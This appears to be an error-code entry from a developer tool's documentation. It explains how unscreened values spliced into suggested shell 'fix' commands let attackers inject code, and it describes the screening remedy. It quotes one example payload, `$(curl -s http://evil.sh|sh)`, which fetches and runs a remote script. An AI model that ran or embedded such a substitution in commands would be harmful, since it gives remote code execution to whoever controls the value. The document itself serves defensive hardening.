X_FIX_SHELL_ARG_UNSCREENED
Means
a value is spliced into the SHELL COMMAND POSITION of a fix: line without being screened
Typical cause
a fix: is a command meant to be pasted, so a substitution after a command word is a value that RUNS: x g route /$(curl -s http://evil.sh\|sh) was the rendered fix for an unauthenticated GET against any unrouted path. renderFixShellArg was written to close that one site and nothing watched the other 150. renderFixLiteral beside it is explicitly NOT the answer — it answers JSON.stringify, and $(…), a backtick and a substitution are all live inside double quotes in every POSIX shell
Fix
bun run fix-shell-arg --json — wrap the value in renderFixShellArg(value, '<what a reader substitutes>') from @ultimat3/core; if it cannot carry shell syntax, pin the package in scripts/lib/fix-shell-arg-pins.ts with the sentence saying where the value comes from